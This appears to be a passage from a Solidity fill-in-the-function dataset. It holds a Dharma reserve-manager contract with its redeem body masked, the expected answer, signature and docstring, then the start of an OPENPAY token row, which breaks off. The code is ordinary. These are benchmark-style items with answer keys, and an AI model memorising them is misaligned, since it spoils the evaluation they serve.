000000000000";
bytes28 internal constant _WALLET_CREATION_CODE_FOOTER = bytes28(
0x00000000000000000000000000000000000000000000000000000000
);
/**
* @notice In the constructor, set the initial owner to the transaction
* submitter and initial minimum timelock interval and default timelock
* expiration values.
*/
constructor() public {
// Call Dai to set an allowance for Dharma Dai in order to mint dDai.
require(_DAI.approve(address(_DDAI), uint256(-1)));
// Set the initial limit to 300 Dai.
_limit = 300 * 1e18;
}
/**
* @notice Transfer `daiAmount` Dai to `smartWallet`, providing the initial
* user signing key `initialUserSigningKey` as proof that the specified smart
* wallet is indeed a Dharma Smart Wallet - this assumes that the address is
* derived and deployed using the Dharma Smart Wallet Factory V1. In addition,
* the specified amount must be less than the configured limit amount. Only
* the owner or the designated deposit manager role may call this function.
* @param smartWallet address The smart wallet to transfer Dai to.
* @param initialUserSigningKey address The initial user signing key supplied
* when deriving the smart wallet address - this could be an EOA or a Dharma
* key ring address.
* @param daiAmount uint256 The amount of Dai to transfer - this must be less
* than the current limit.
*/
function finalizeDaiDeposit(
address smartWallet, address initialUserSigningKey, uint256 daiAmount
) external onlyOwnerOr(Role.DEPOSIT_MANAGER) {
// Ensure that the recipient is indeed a smart wallet.
require(
_isSmartWallet(smartWallet, initialUserSigningKey),
"Could not resolve smart wallet using provided signing key."
);
// Ensure that the amount to transfer is lower than the limit.
require(daiAmount < _limit, "Transfer size exceeds the limit.");
// Transfer the Dai to the specified smart wallet.
require(_DAI.transfer(smartWallet, daiAmount), "Dai transfer failed.");
}
/**
* @notice Transfer `dDaiAmount` Dharma Dai to `smartWallet`, providing the
* initial user signing key `initialUserSigningKey` as proof that the
* specified smart wallet is indeed a Dharma Smart Wallet - this assumes that
* the address is derived and deployed using the Dharma Smart Wallet Factory
* V1. In addition, the Dai equivalent value of the specified dDai amount must
* be less than the configured limit amount. Only the owner or the designated
* deposit manager role may call this function.
* @param smartWallet address The smart wallet to transfer Dai to.
* @param initialUserSigningKey address The initial user signing key supplied
* when deriving the smart wallet address - this could be an EOA or a Dharma
* key ring address.
* @param dDaiAmount uint256 The amount of Dharma Dai to transfer - the Dai
* equivalent amount must be less than the current limit.
*/
function finalizeDharmaDaiDeposit(
address smartWallet, address initialUserSigningKey, uint256 dDaiAmount
) external onlyOwnerOr(Role.DEPOSIT_MANAGER) {
// Ensure that the recipient is indeed a smart wallet.
require(
_isSmartWallet(smartWallet, initialUserSigningKey),
"Could not resolve smart wallet using provided signing key."
);
// Get the current dDai exchange rate.
uint256 exchangeRate = _DDAI.exchangeRateCurrent();
// Ensure that an exchange rate was actually returned.
require(exchangeRate != 0, "Could not retrieve dDai exchange rate.");
// Get the equivalent Dai amount of the transfer.
uint256 daiEquivalent = (dDaiAmount.mul(exchangeRate)) / 1e18;
// Ensure that the amount to transfer is lower than the limit.
require(daiEquivalent < _limit, "Transfer size exceeds the limit.");
// Transfer the dDai to the specified smart wallet.
require(_DDAI.transfer(smartWallet, dDaiAmount), "dDai transfer failed.");
}
/**
* @notice Use `daiAmount` Dai mint Dharma Dai. Only the owner or the
* designated adjuster role may call this function.
* @param daiAmount uint256 The amount of Dai to supply when minting Dharma
* Dai.
* @return The amount of Dharma Dai minted.
*/
function mint(
uint256 daiAmount
) external onlyOwnerOr(Role.ADJUSTER) returns (uint256 dDaiMinted) {
// Use the specified amount of Dai to mint dDai.
dDaiMinted = _DDAI.mint(daiAmount);
}
/**
* @notice Redeem `dDaiAmount` Dharma Dai for Dai. Only the owner or the
* designated adjuster role may call this function.
* @param dDaiAmount uint256 The amount of Dharma Dai to supply when redeeming
* for Dai.
* @return The amount of Dai received.
*/
function redeem(
uint256 dDaiAmount
) external onlyOwnerOr(Role.ADJUSTER) returns (uint256 daiReceived) {<FILL_FUNCTION_BODY> }
/**
* @notice Transfer `daiAmount` Dai to `recipient`. Only the owner may call
* this function.
* @param recipient address The account to transfer Dai to.
* @param daiAmount uint256 The amount of Dai to transfer.
*/
function withdrawDai(
address recipient, uint256 daiAmount
) external onlyOwner {
// Transfer the Dai to the specified recipient.
require(_DAI.transfer(recipient, daiAmount), "Dai transfer failed.");
}
/**
* @notice Transfer `dDaiAmount` Dharma Dai to `recipient`. Only the owner may
* call this function.
* @param recipient address The account to transfer Dharma Dai to.
* @param dDaiAmount uint256 The amount of Dharma Dai to transfer.
*/
function withdrawDharmaDai(
address recipient, uint256 dDaiAmount
) external onlyOwner {
// Transfer the dDai to the specified recipient.
require(_DDAI.transfer(recipient, dDaiAmount), "dDai transfer failed.");
}
/**
* @notice Transfer `amount` of ERC20 token `token` to `recipient`. Only the
* owner may call this function.
* @param token ERC20Interface The ERC20 token to transfer.
* @param recipient address The account to transfer the tokens to.
* @param amount uint256 The amount of tokens to transfer.
* @return A boolean to indicate if the transfer was successful - note that
* unsuccessful ERC20 transfers will usually revert.
*/
function withdraw(
ERC20Interface token, address recipient, uint256 amount
) external onlyOwner returns (bool success) {
// Transfer the token to the specified recipient.
success = token.transfer(recipient, amount);
}
/**
* @notice Call account `target`, supplying value `amount` and data `data`.
* Only the owner may call this function.
* @param target address The account to call.
* @param amount uint256 The amount of ether to include as an endowment.
* @param data bytes The data to include along with the call.
* @return A boolean to indicate if the call was successful, as well as the
* returned data or revert reason.
*/
function call(
address payable target, uint256 amount, bytes calldata data
) external onlyOwner returns (bool ok, bytes memory returnData) {
// Call the specified target and supply the specified data.
(ok, returnData) = target.call.value(amount)(data);
}
/**
* @notice Set `daiAmount` as the new limit on the size of finalized deposits.
* Only the owner may call this function.
* @param daiAmount uint256 The new limit on the size of finalized deposits.
*/
function setLimit(uint256 daiAmount) external onlyOwner {
// Set the new limit.
_limit = daiAmount;
}
/**
* @notice Pause a currently unpaused role and emit a `RolePaused` event. Only
* the owner or the designated pauser may call this function. Also, bear in
* mind that only the owner may unpause a role once paused.
* @param role The role to pause. Permitted roles are deposit manager (0),
* adjuster (1), and pauser (2).
*/
function pause(Role role) external onlyOwnerOr(Role.PAUSER) {
RoleStatus storage storedRoleStatus = _roles[uint256(role)];
require(!storedRoleStatus.paused, "Role in question is already paused.");
storedRoleStatus.paused = true;
emit RolePaused(role);
}
/**
* @notice Unpause a currently paused role and emit a `RoleUnpaused` event.
* Only the owner may call this function.
* @param role The role to pause. Permitted roles are deposit manager (0),
* adjuster (1), and pauser (2).
*/
function unpause(Role role) external onlyOwner {
RoleStatus storage storedRoleStatus = _roles[uint256(role)];
require(storedRoleStatus.paused, "Role in question is already unpaused.");
storedRoleStatus.paused = false;
emit RoleUnpaused(role);
}
/**
* @notice Set a new account on a given role and emit a `RoleModified` event
* if the role holder has changed. Only the owner may call this function.
* @param role The role that the account will be set for. Permitted roles are
* deposit manager (0), adjuster (1), and pauser (2).
* @param account The account to set as the designated role bearer.
*/
function setRole(Role role, address account) external onlyOwner {
require(account != address(0), "Must supply an account.");
_setRole(role, account);
}
/**
* @notice Remove any current role bearer for a given role and emit a
* `RoleModified` event if a role holder was previously set. Only the owner
* may call this function.
* @param role The role that the account will be removed from. Permitted roles
* are deposit manager (0), adjuster (1), and pauser (2).
*/
function removeRole(Role role) external onlyOwner {
_setRole(role, address(0));
}
/**
* @notice External view function to check whether or not the functionality
* associated with a given role is currently paused or not. The owner or the
* pauser may pause any given role (including the pauser itself), but only the
* owner may unpause functionality. Additionally, the owner may call paused
* functions directly.
* @param role The role to check the pause status on. Permitted roles are
* deposit manager (0), adjuster (1), and pauser (2).
* @return A boolean to indicate if the functionality associated with the role
* in question is currently paused.
*/
function isPaused(Role role) external view returns (bool paused) {
paused = _isPaused(role);
}
/**
* @notice External view function to check whether the caller is the current
* role holder.
* @param role The role to check for. Permitted roles are deposit manager (0),
* adjuster (1), and pauser (2).
* @return A boolean indicating if the caller has the specified role.
*/
function isRole(Role role) external view returns (bool hasRole) {
hasRole = _isRole(role);
}
/**
* @notice External view function to check whether a "proof" that a given
* smart wallet is actually a Dharma Smart Wallet, based on the initial user
* signing key, is valid or not. This proof only works when the Dharma Smart
* Wallet in question is derived using V1 of the Dharma Smart Wallet Factory.
* @param smartWallet address The smart wallet to check.
* @param initialUserSigningKey address The initial user signing key supplied
* when deriving the smart wallet address - this could be an EOA or a Dharma
* key ring address.
* @return A boolean indicating if the specified smart wallet account is
* indeed a smart wallet based on the specified initial user signing key.
*/
function isDharmaSmartWallet(
address smartWallet, address initialUserSigningKey
) external view returns (bool dharmaSmartWallet) {
dharmaSmartWallet = _isSmartWallet(smartWallet, initialUserSigningKey);
}
/**
* @notice External view function to check the account currently holding the
* deposit manager role. The deposit manager can process standard deposit
* finalization via `finalizeDaiDeposit` and `finalizeDharmaDaiDeposit`, but
* must prove that the recipient is a Dharma Smart Wallet and adhere to the
* current deposit size limit.
* @return The address of the current deposit manager, or the null address if
* none is set.
*/
function getDepositManager() external view returns (address depositManager) {
depositManager = _roles[uint256(Role.DEPOSIT_MANAGER)].account;
}
/**
* @notice External view function to check the account currently holding the
* adjuster role. The adjuster can exchange Dai in reserves for Dharma Dai and
* vice-versa via minting or redeeming.
* @return The address of the current adjuster, or the null address if none is
* set.
*/
function getAdjuster() external view returns (address adjuster) {
adjuster = _roles[uint256(Role.ADJUSTER)].account;
}
/**
* @notice External view function to check the account currently holding the
* pauser role. The pauser can pause any role from taking its standard action,
* though the owner will still be able to call the associated function in the
* interim and is the only entity able to unpause the given role once paused.
* @return The address of the current pauser, or the null address if none is
* set.
*/
function getPauser() external view returns (address pauser) {
pauser = _roles[uint256(Role.PAUSER)].account;
}
/**
* @notice External view function to check the current reserves held by this
* contract.
* @return The Dai and Dharma Dai reserves held by this contract, as well as
* the Dai-equivalent value of the Dharma Dai reserves.
*/
function getReserves() external view returns (
uint256 dai, uint256 dDai, uint256 dDaiUnderlying
) {
dai = _DAI.balanceOf(address(this));
dDai = _DDAI.balanceOf(address(this));
dDaiUnderlying = _DDAI.balanceOfUnderlying(address(this));
}
/**
* @notice External view function to check the current limit on deposit amount
* enforced for the deposit manager when finalizing deposits, expressed in Dai
* and in Dharma Dai.
* @return The Dai and Dharma Dai limit on deposit finalization amount.
*/
function getLimit() external view returns (
uint256 daiAmount, uint256 dDaiAmount
) {
daiAmount = _limit;
dDaiAmount = (daiAmount.mul(1e18)).div(_DDAI.exchangeRateCurrent());
}
/**
* @notice Internal function to set a new account on a given role and emit a
* `RoleModified` event if the role holder has changed.
* @param role The role that the account will be set for. Permitted roles are
* deposit manager (0), adjuster (1), and pauser (2).
* @param account The account to set as the designated role bearer.
*/
function _setRole(Role role, address account) internal {
RoleStatus storage storedRoleStatus = _roles[uint256(role)];
if (account != storedRoleStatus.account) {
storedRoleStatus.account = account;
emit RoleModified(role, account);
}
}
/**
* @notice Internal view function to check whether the caller is the current
* role holder.
* @param role The role to check for. Permitted roles are deposit manager (0),
* adjuster (1), and pauser (2).
* @return A boolean indicating if the caller has the specified role.
*/
function _isRole(Role role) internal view returns (bool hasRole) {
hasRole = msg.sender == _roles[uint256(role)].account;
}
/**
* @notice Internal view function to check whether the given role is paused or
* not.
* @param role The role to check for. Permitted roles are deposit manager (0),
* adjuster (1), and pauser (2).
* @return A boolean indicating if the specified role is paused or not.
*/
function _isPaused(Role role) internal view returns (bool paused) {
paused = _roles[uint256(role)].paused;
}
/**
* @notice Internal view function to enforce that the given initial user signing
* key resolves to the given smart wallet when deployed through the Dharma Smart
* Wallet Factory V1.
* @param smartWallet address The smart wallet.
* @param initialUserSigningKey address The initial user signing key.
*/
function _isSmartWallet(
address smartWallet, address initialUserSigningKey
) internal view returns (bool) {
// Derive the keccak256 hash of the smart wallet initialization code.
bytes32 initCodeHash = keccak256(
abi.encodePacked(
_WALLET_CREATION_CODE_HEADER,
initialUserSigningKey,
_WALLET_CREATION_CODE_FOOTER
)
);
// Attempt to derive a smart wallet address that matches the one provided.
address target;
for (uint256 nonce = 0; nonce < 10; nonce++) {
target = address( // derive the target deployment address.
uint160( // downcast to match the address type.
uint256( // cast to uint to truncate upper digits.
keccak256( // compute CREATE2 hash using all inputs.
abi.encodePacked( // pack all inputs to the hash together.
_CREATE2_HEADER, // pass in control character + factory address.
nonce, // pass in current nonce as the salt.
initCodeHash // pass in hash of contract creation code.
)
)
)
)
);
// Exit early if the provided smart wallet matches derived target address.
if (target == smartWallet) {
return true;
}
// Otherwise, increment the nonce and derive a new salt.
nonce++;
}
// Explicity recognize no target was found matching provided smart wallet.
return false;
}
/**
* @notice Modifier that throws if called by any account other than the owner
* or the supplied role, or if the caller is not the owner and the role in
* question is paused.
* @param role The role to require unless the caller is the owner. Permitted
* roles are deposit manager (0), adjuster (1), and pauser (2).
*/
modifier onlyOwnerOr(Role role) {
if (!isOwner()) {
require(_isRole(role), "Caller does not have a required role.");
require(!_isPaused(role), "Role in question is currently paused.");
}
_;
}
} | contract DharmaReserveManagerV1Staging is DharmaReserveManagerV1Interface, TwoStepOwnable {
using SafeMath for uint256;
// Maintain a role status mapping with assigned accounts and paused states.
mapping(uint256 => RoleStatus) private _roles;
// Maintain a maximum allowable transfer size (in Dai) for the deposit manager.
uint256 private _limit;
// This contract interacts with Dai and Dharma Dai.
ERC20Interface internal constant _DAI = ERC20Interface(
0x6B175474E89094C44Da98b954EedeAC495271d0F // mainnet
);
DTokenInterface internal constant _DDAI = DTokenInterface(
0x00000000001876eB1444c986fD502e618c587430
);
// The "Create2 Header" is used to compute smart wallet deployment addresses.
bytes21 internal constant _CREATE2_HEADER = bytes21(
0xff8D1e00b000e56d5BcB006F3a008Ca6003b9F0033 // control character + factory
);
// The "Wallet creation code" header & footer are also used to derive wallets.
bytes internal constant _WALLET_CREATION_CODE_HEADER = hex"60806040526040516104423803806104428339818101604052602081101561002657600080fd5b810190808051604051939291908464010000000082111561004657600080fd5b90830190602082018581111561005b57600080fd5b825164010000000081118282018810171561007557600080fd5b82525081516020918201929091019080838360005b838110156100a257818101518382015260200161008a565b50505050905090810190601f1680156100cf5780820380516001836020036101000a031916815260200191505b5060405250505060006100e661019e60201b60201c565b6001600160a01b0316826040518082805190602001908083835b6020831061011f5780518252601f199092019160209182019101610100565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461017f576040519150601f19603f3d011682016040523d82523d6000602084013e610184565b606091505b5050905080610197573d6000803e3d6000fd5b50506102be565b60405160009081906060906eb45d6593312ac9fde193f3d06336449083818181855afa9150503d80600081146101f0576040519150601f19603f3d011682016040523d82523d6000602084013e6101f5565b606091505b509150915081819061029f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561026457818101518382015260200161024c565b50505050905090810190601f1680156102915780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b508080602001905160208110156102b557600080fd5b50519392505050565b610175806102cd6000396000f3fe608060405261001461000f610016565b61011c565b005b60405160009081906060906eb45d6593312ac9fde193f3d06336449083818181855afa9150503d8060008114610068576040519150601f19603f3d011682016040523d82523d6000602084013e61006d565b606091505b50915091508181906100fd5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156100c25781810151838201526020016100aa565b50505050905090810190601f1680156100ef5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5080806020019051602081101561011357600080fd5b50519392505050565b3660008037600080366000845af43d6000803e80801561013b573d6000f35b3d6000fdfea265627a7a723158203c578cc1552f1d1b48134a72934fe12fb89a29ff396bd514b9a4cebcacc5cacc64736f6c634300050b003200000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000024c4d66de8000000000000000000000000";
bytes28 internal constant _WALLET_CREATION_CODE_FOOTER = bytes28(
0x00000000000000000000000000000000000000000000000000000000
);
/**
* @notice In the constructor, set the initial owner to the transaction
* submitter and initial minimum timelock interval and default timelock
* expiration values.
*/
constructor() public {
// Call Dai to set an allowance for Dharma Dai in order to mint dDai.
require(_DAI.approve(address(_DDAI), uint256(-1)));
// Set the initial limit to 300 Dai.
_limit = 300 * 1e18;
}
/**
* @notice Transfer `daiAmount` Dai to `smartWallet`, providing the initial
* user signing key `initialUserSigningKey` as proof that the specified smart
* wallet is indeed a Dharma Smart Wallet - this assumes that the address is
* derived and deployed using the Dharma Smart Wallet Factory V1. In addition,
* the specified amount must be less than the configured limit amount. Only
* the owner or the designated deposit manager role may call this function.
* @param smartWallet address The smart wallet to transfer Dai to.
* @param initialUserSigningKey address The initial user signing key supplied
* when deriving the smart wallet address - this could be an EOA or a Dharma
* key ring address.
* @param daiAmount uint256 The amount of Dai to transfer - this must be less
* than the current limit.
*/
function finalizeDaiDeposit(
address smartWallet, address initialUserSigningKey, uint256 daiAmount
) external onlyOwnerOr(Role.DEPOSIT_MANAGER) {
// Ensure that the recipient is indeed a smart wallet.
require(
_isSmartWallet(smartWallet, initialUserSigningKey),
"Could not resolve smart wallet using provided signing key."
);
// Ensure that the amount to transfer is lower than the limit.
require(daiAmount < _limit, "Transfer size exceeds the limit.");
// Transfer the Dai to the specified smart wallet.
require(_DAI.transfer(smartWallet, daiAmount), "Dai transfer failed.");
}
/**
* @notice Transfer `dDaiAmount` Dharma Dai to `smartWallet`, providing the
* initial user signing key `initialUserSigningKey` as proof that the
* specified smart wallet is indeed a Dharma Smart Wallet - this assumes that
* the address is derived and deployed using the Dharma Smart Wallet Factory
* V1. In addition, the Dai equivalent value of the specified dDai amount must
* be less than the configured limit amount. Only the owner or the designated
* deposit manager role may call this function.
* @param smartWallet address The smart wallet to transfer Dai to.
* @param initialUserSigningKey address The initial user signing key supplied
* when deriving the smart wallet address - this could be an EOA or a Dharma
* key ring address.
* @param dDaiAmount uint256 The amount of Dharma Dai to transfer - the Dai
* equivalent amount must be less than the current limit.
*/
function finalizeDharmaDaiDeposit(
address smartWallet, address initialUserSigningKey, uint256 dDaiAmount
) external onlyOwnerOr(Role.DEPOSIT_MANAGER) {
// Ensure that the recipient is indeed a smart wallet.
require(
_isSmartWallet(smartWallet, initialUserSigningKey),
"Could not resolve smart wallet using provided signing key."
);
// Get the current dDai exchange rate.
uint256 exchangeRate = _DDAI.exchangeRateCurrent();
// Ensure that an exchange rate was actually returned.
require(exchangeRate != 0, "Could not retrieve dDai exchange rate.");
// Get the equivalent Dai amount of the transfer.
uint256 daiEquivalent = (dDaiAmount.mul(exchangeRate)) / 1e18;
// Ensure that the amount to transfer is lower than the limit.
require(daiEquivalent < _limit, "Transfer size exceeds the limit.");
// Transfer the dDai to the specified smart wallet.
require(_DDAI.transfer(smartWallet, dDaiAmount), "dDai transfer failed.");
}
/**
* @notice Use `daiAmount` Dai mint Dharma Dai. Only the owner or the
* designated adjuster role may call this function.
* @param daiAmount uint256 The amount of Dai to supply when minting Dharma
* Dai.
* @return The amount of Dharma Dai minted.
*/
function mint(
uint256 daiAmount
) external onlyOwnerOr(Role.ADJUSTER) returns (uint256 dDaiMinted) {
// Use the specified amount of Dai to mint dDai.
dDaiMinted = _DDAI.mint(daiAmount);
}
<FILL_FUNCTION>
/**
* @notice Transfer `daiAmount` Dai to `recipient`. Only the owner may call
* this function.
* @param recipient address The account to transfer Dai to.
* @param daiAmount uint256 The amount of Dai to transfer.
*/
function withdrawDai(
address recipient, uint256 daiAmount
) external onlyOwner {
// Transfer the Dai to the specified recipient.
require(_DAI.transfer(recipient, daiAmount), "Dai transfer failed.");
}
/**
* @notice Transfer `dDaiAmount` Dharma Dai to `recipient`. Only the owner may
* call this function.
* @param recipient address The account to transfer Dharma Dai to.
* @param dDaiAmount uint256 The amount of Dharma Dai to transfer.
*/
function withdrawDharmaDai(
address recipient, uint256 dDaiAmount
) external onlyOwner {
// Transfer the dDai to the specified recipient.
require(_DDAI.transfer(recipient, dDaiAmount), "dDai transfer failed.");
}
/**
* @notice Transfer `amount` of ERC20 token `token` to `recipient`. Only the
* owner may call this function.
* @param token ERC20Interface The ERC20 token to transfer.
* @param recipient address The account to transfer the tokens to.
* @param amount uint256 The amount of tokens to transfer.
* @return A boolean to indicate if the transfer was successful - note that
* unsuccessful ERC20 transfers will usually revert.
*/
function withdraw(
ERC20Interface token, address recipient, uint256 amount
) external onlyOwner returns (bool success) {
// Transfer the token to the specified recipient.
success = token.transfer(recipient, amount);
}
/**
* @notice Call account `target`, supplying value `amount` and data `data`.
* Only the owner may call this function.
* @param target address The account to call.
* @param amount uint256 The amount of ether to include as an endowment.
* @param data bytes The data to include along with the call.
* @return A boolean to indicate if the call was successful, as well as the
* returned data or revert reason.
*/
function call(
address payable target, uint256 amount, bytes calldata data
) external onlyOwner returns (bool ok, bytes memory returnData) {
// Call the specified target and supply the specified data.
(ok, returnData) = target.call.value(amount)(data);
}
/**
* @notice Set `daiAmount` as the new limit on the size of finalized deposits.
* Only the owner may call this function.
* @param daiAmount uint256 The new limit on the size of finalized deposits.
*/
function setLimit(uint256 daiAmount) external onlyOwner {
// Set the new limit.
_limit = daiAmount;
}
/**
* @notice Pause a currently unpaused role and emit a `RolePaused` event. Only
* the owner or the designated pauser may call this function. Also, bear in
* mind that only the owner may unpause a role once paused.
* @param role The role to pause. Permitted roles are deposit manager (0),
* adjuster (1), and pauser (2).
*/
function pause(Role role) external onlyOwnerOr(Role.PAUSER) {
RoleStatus storage storedRoleStatus = _roles[uint256(role)];
require(!storedRoleStatus.paused, "Role in question is already paused.");
storedRoleStatus.paused = true;
emit RolePaused(role);
}
/**
* @notice Unpause a currently paused role and emit a `RoleUnpaused` event.
* Only the owner may call this function.
* @param role The role to pause. Permitted roles are deposit manager (0),
* adjuster (1), and pauser (2).
*/
function unpause(Role role) external onlyOwner {
RoleStatus storage storedRoleStatus = _roles[uint256(role)];
require(storedRoleStatus.paused, "Role in question is already unpaused.");
storedRoleStatus.paused = false;
emit RoleUnpaused(role);
}
/**
* @notice Set a new account on a given role and emit a `RoleModified` event
* if the role holder has changed. Only the owner may call this function.
* @param role The role that the account will be set for. Permitted roles are
* deposit manager (0), adjuster (1), and pauser (2).
* @param account The account to set as the designated role bearer.
*/
function setRole(Role role, address account) external onlyOwner {
require(account != address(0), "Must supply an account.");
_setRole(role, account);
}
/**
* @notice Remove any current role bearer for a given role and emit a
* `RoleModified` event if a role holder was previously set. Only the owner
* may call this function.
* @param role The role that the account will be removed from. Permitted roles
* are deposit manager (0), adjuster (1), and pauser (2).
*/
function removeRole(Role role) external onlyOwner {
_setRole(role, address(0));
}
/**
* @notice External view function to check whether or not the functionality
* associated with a given role is currently paused or not. The owner or the
* pauser may pause any given role (including the pauser itself), but only the
* owner may unpause functionality. Additionally, the owner may call paused
* functions directly.
* @param role The role to check the pause status on. Permitted roles are
* deposit manager (0), adjuster (1), and pauser (2).
* @return A boolean to indicate if the functionality associated with the role
* in question is currently paused.
*/
function isPaused(Role role) external view returns (bool paused) {
paused = _isPaused(role);
}
/**
* @notice External view function to check whether the caller is the current
* role holder.
* @param role The role to check for. Permitted roles are deposit manager (0),
* adjuster (1), and pauser (2).
* @return A boolean indicating if the caller has the specified role.
*/
function isRole(Role role) external view returns (bool hasRole) {
hasRole = _isRole(role);
}
/**
* @notice External view function to check whether a "proof" that a given
* smart wallet is actually a Dharma Smart Wallet, based on the initial user
* signing key, is valid or not. This proof only works when the Dharma Smart
* Wallet in question is derived using V1 of the Dharma Smart Wallet Factory.
* @param smartWallet address The smart wallet to check.
* @param initialUserSigningKey address The initial user signing key supplied
* when deriving the smart wallet address - this could be an EOA or a Dharma
* key ring address.
* @return A boolean indicating if the specified smart wallet account is
* indeed a smart wallet based on the specified initial user signing key.
*/
function isDharmaSmartWallet(
address smartWallet, address initialUserSigningKey
) external view returns (bool dharmaSmartWallet) {
dharmaSmartWallet = _isSmartWallet(smartWallet, initialUserSigningKey);
}
/**
* @notice External view function to check the account currently holding the
* deposit manager role. The deposit manager can process standard deposit
* finalization via `finalizeDaiDeposit` and `finalizeDharmaDaiDeposit`, but
* must prove that the recipient is a Dharma Smart Wallet and adhere to the
* current deposit size limit.
* @return The address of the current deposit manager, or the null address if
* none is set.
*/
function getDepositManager() external view returns (address depositManager) {
depositManager = _roles[uint256(Role.DEPOSIT_MANAGER)].account;
}
/**
* @notice External view function to check the account currently holding the
* adjuster role. The adjuster can exchange Dai in reserves for Dharma Dai and
* vice-versa via minting or redeeming.
* @return The address of the current adjuster, or the null address if none is
* set.
*/
function getAdjuster() external view returns (address adjuster) {
adjuster = _roles[uint256(Role.ADJUSTER)].account;
}
/**
* @notice External view function to check the account currently holding the
* pauser role. The pauser can pause any role from taking its standard action,
* though the owner will still be able to call the associated function in the
* interim and is the only entity able to unpause the given role once paused.
* @return The address of the current pauser, or the null address if none is
* set.
*/
function getPauser() external view returns (address pauser) {
pauser = _roles[uint256(Role.PAUSER)].account;
}
/**
* @notice External view function to check the current reserves held by this
* contract.
* @return The Dai and Dharma Dai reserves held by this contract, as well as
* the Dai-equivalent value of the Dharma Dai reserves.
*/
function getReserves() external view returns (
uint256 dai, uint256 dDai, uint256 dDaiUnderlying
) {
dai = _DAI.balanceOf(address(this));
dDai = _DDAI.balanceOf(address(this));
dDaiUnderlying = _DDAI.balanceOfUnderlying(address(this));
}
/**
* @notice External view function to check the current limit on deposit amount
* enforced for the deposit manager when finalizing deposits, expressed in Dai
* and in Dharma Dai.
* @return The Dai and Dharma Dai limit on deposit finalization amount.
*/
function getLimit() external view returns (
uint256 daiAmount, uint256 dDaiAmount
) {
daiAmount = _limit;
dDaiAmount = (daiAmount.mul(1e18)).div(_DDAI.exchangeRateCurrent());
}
/**
* @notice Internal function to set a new account on a given role and emit a
* `RoleModified` event if the role holder has changed.
* @param role The role that the account will be set for. Permitted roles are
* deposit manager (0), adjuster (1), and pauser (2).
* @param account The account to set as the designated role bearer.
*/
function _setRole(Role role, address account) internal {
RoleStatus storage storedRoleStatus = _roles[uint256(role)];
if (account != storedRoleStatus.account) {
storedRoleStatus.account = account;
emit RoleModified(role, account);
}
}
/**
* @notice Internal view function to check whether the caller is the current
* role holder.
* @param role The role to check for. Permitted roles are deposit manager (0),
* adjuster (1), and pauser (2).
* @return A boolean indicating if the caller has the specified role.
*/
function _isRole(Role role) internal view returns (bool hasRole) {
hasRole = msg.sender == _roles[uint256(role)].account;
}
/**
* @notice Internal view function to check whether the given role is paused or
* not.
* @param role The role to check for. Permitted roles are deposit manager (0),
* adjuster (1), and pauser (2).
* @return A boolean indicating if the specified role is paused or not.
*/
function _isPaused(Role role) internal view returns (bool paused) {
paused = _roles[uint256(role)].paused;
}
/**
* @notice Internal view function to enforce that the given initial user signing
* key resolves to the given smart wallet when deployed through the Dharma Smart
* Wallet Factory V1.
* @param smartWallet address The smart wallet.
* @param initialUserSigningKey address The initial user signing key.
*/
function _isSmartWallet(
address smartWallet, address initialUserSigningKey
) internal view returns (bool) {
// Derive the keccak256 hash of the smart wallet initialization code.
bytes32 initCodeHash = keccak256(
abi.encodePacked(
_WALLET_CREATION_CODE_HEADER,
initialUserSigningKey,
_WALLET_CREATION_CODE_FOOTER
)
);
// Attempt to derive a smart wallet address that matches the one provided.
address target;
for (uint256 nonce = 0; nonce < 10; nonce++) {
target = address( // derive the target deployment address.
uint160( // downcast to match the address type.
uint256( // cast to uint to truncate upper digits.
keccak256( // compute CREATE2 hash using all inputs.
abi.encodePacked( // pack all inputs to the hash together.
_CREATE2_HEADER, // pass in control character + factory address.
nonce, // pass in current nonce as the salt.
initCodeHash // pass in hash of contract creation code.
)
)
)
)
);
// Exit early if the provided smart wallet matches derived target address.
if (target == smartWallet) {
return true;
}
// Otherwise, increment the nonce and derive a new salt.
nonce++;
}
// Explicity recognize no target was found matching provided smart wallet.
return false;
}
/**
* @notice Modifier that throws if called by any account other than the owner
* or the supplied role, or if the caller is not the owner and the role in
* question is paused.
* @param role The role to require unless the caller is the owner. Permitted
* roles are deposit manager (0), adjuster (1), and pauser (2).
*/
modifier onlyOwnerOr(Role role) {
if (!isOwner()) {
require(_isRole(role), "Caller does not have a required role.");
require(!_isPaused(role), "Role in question is currently paused.");
}
_;
}
} |
// Redeem the specified amount of dDai for Dai.
daiReceived = _DDAI.redeem(dDaiAmount);
| function redeem(
uint256 dDaiAmount
) external onlyOwnerOr(Role.ADJUSTER) returns (uint256 daiReceived) | /**
* @notice Redeem `dDaiAmount` Dharma Dai for Dai. Only the owner or the
* designated adjuster role may call this function.
* @param dDaiAmount uint256 The amount of Dharma Dai to supply when redeeming
* for Dai.
* @return The amount of Dai received.
*/
function redeem(
uint256 dDaiAmount
) external onlyOwnerOr(Role.ADJUSTER) returns (uint256 daiReceived) |
53592 | OPENPAY | mint | contract OPENPAY is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public RATE;
uint public DENOMINATOR;
bool public isStopped = false;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Mint(address indexed to, uint256 amount);
event ChangeRate(uint256 amount);
modifier onlyWhenRunning {
require(!isStopped);
_;
}
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "OPY";
name = "OPENPAY";
decimals = 18;
_totalSupply = 10000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
RATE = 190000000; // 1 ETH = 19000 OPY
DENOMINATOR = 10000;
emit Transfer(address(0), owner, _totalSupply);
}
// ----------------------------------------------------------------------------
// It invokes when someone sends ETH to this contract address
// requires enough gas for execution
// ----------------------------------------------------------------------------
function() public payable {
buyTokens();
}
// ----------------------------------------------------------------------------
// Function to handle eth and token transfers
// tokens are transferred to user
// ETH are transferred to current owner
// ----------------------------------------------------------------------------
function buyTokens() onlyWhenRunning public payable {
require(msg.value > 0);
uint tokens = msg.value.mul(RATE).div(DENOMINATOR);
require(balances[owner] >= tokens);
balances[msg.sender] = balances[msg.sender].add(tokens);
balances[owner] = balances[owner].sub(tokens);
emit Transfer(owner, msg.sender, tokens);
